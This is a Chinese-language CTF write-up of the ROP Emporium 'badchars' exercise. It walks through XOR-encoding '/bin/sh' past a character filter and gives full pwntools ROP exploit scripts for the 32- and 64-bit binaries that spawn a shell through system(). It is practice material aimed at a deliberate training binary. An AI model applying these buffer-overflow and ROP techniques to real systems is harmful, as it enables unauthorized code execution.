ropemporium上的链接
https://ropemporium.com/
32位
checksec badchars32然后运行./badchars32
拖入ida,有system,没有binsh,所以我们需要将binsh写入bss段中
main
usefulFunction里有system但参数不对
system地址为0x080484E0
bss地址为0x0804A040 pwnme函数
checkBadChars函数
把v3及其后面的变成数组,把数字按r转成字符,方便查看
这次的程序对输入的字符进行了过滤,对于特定字符b,i,c,/, <空格>,f,n,s(传说中的badchars),会被替换成-21,当然这会对我们成功写入"/bin/sh\x00"造成影响,所以我们要绕过这步替换
参考 https://www.jianshu.com/p/5b9abeca9308
这里用 xor 对要输入的 '/bin/sh' 加密,成功传入参数后再进行解密调用
首先找可以进行异或的数字,因为可能会有进行异或后还出现badchars的数字。
找异或数字的脚本为
binsh = "/bin/sh\x00"
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
xornum = 1
while 1:
for x in binsh:
tem = ord(x) ^ xornum
if tem in badchar:
xornum += 1
break
if x == "\x00":
print xornum
xornum += 1
if xornum == 10:
break
可异或的十以内数字有2,3,5,9
找gadget
gdb爆偏移为44ROPgadget --binary badchars32 --only "mov|xor|pop|ret"
写脚本
#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./badchars32')
p = process('./badchars32')
pop_esi_edi = 0x08048899
mov_esi_to_edi = 0x08048893
pop_ebx_ecx = 0x08048896
xor_ebx_cl = 0x08048890
system_plt = 0x080484E0
bss = 0x0804A040
#加密
binsh = "/bin/sh\x00"
xorbinsh = ''
for i in binsh:
xorbinsh += chr(ord(i)^2)#ord()和chr()配对使用,ord()是字符转ASCII码,chr()相反
payload = ''
payload += 'A'*44
#因为是32位,/bin/sh要分2次传
payload += p32(pop_esi_edi)
payload += xorbinsh[0:4]
payload += p32(bss)
payload += p32(mov_esi_to_edi)
payload += p32(pop_esi_edi)
payload += xorbinsh[4:8]
payload += p32(bss+4)
payload += p32(mov_esi_to_edi)
#解密
for x in range(0,len(xorbinsh)):
payload += p32(pop_ebx_ecx)
payload += p32(bss+x)
payload += p32(2)
payload += p32(xor_ebx_cl)
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(bss)
p.sendline(payload)
p.interactive()
成功
我们再来玩一个简单的,只传入一次的"sh\x00\x00"
脚本为
#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./badchars32')
p = process('./badchars32')
pop_esi_edi = 0x08048899
mov_esi_to_edi = 0x08048893
pop_ebx_ecx = 0x08048896
xor_ebx_cl = 0x08048890
system_plt = 0x080484E0
bss = 0x0804A040
#加密
binsh = "sh\x00\x00"
xorbinsh = ''
for i in binsh:
xorbinsh += chr(ord(i)^2)#ord()和chr()配对使用,ord()是字符转ASCII码,chr()相反
payload = ''
payload += 'A'*44
payload += p32(pop_esi_edi)
payload += xorbinsh[0:4]
payload += p32(bss)
payload += p32(mov_esi_to_edi)
#解密
for x in range(0,len(xorbinsh)):
payload += p32(pop_ebx_ecx)
payload += p32(bss+x)
payload += p32(2)
payload += p32(xor_ebx_cl)
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(bss)
p.sendline(payload)
p.interactive()
当然也是成功的
64位
道理大致相同,但是/bin/sh不需要分2次传,一次即可
ROPgadget --binary badchars --only "mov|pop|xor|ret"
gdb爆偏移
exp:
#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./badchars')
p = process('./badchars')
pop_r12_r13 = 0x00400b3b
mov_r12_to_r13 = 0x00400b34
pop_r14_r15 = 0x00400b40
xor_r15_r14b = 0x00400b30
pop_rdi = 0x00400b39
system_plt = elf.plt['system']
bss = elf.bss()
#加密
binsh = "/bin/sh\x00"
xorbinsh = ''
for i in binsh:
xorbinsh += chr(ord(i)^2)#ord()和chr()配对使用,ord()是字符转ASCII码,chr()相反
payload = ''
payload += 'A'*40
payload += p64(pop_r12_r13)
payload += xorbinsh
payload += p64(bss)
payload += p64(mov_r12_to_r13)
#解密
for x in range(0,len(xorbinsh)):
payload += p64(pop_r14_r15)
payload += p64(2)
payload += p64(bss+x)
payload += p64(xor_r15_r14b)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system_plt)
p.sendline(payload)
p.interactive()
成功
以上两个的flag为ROPE{a_placeholder_32byte_flag!}
网友评论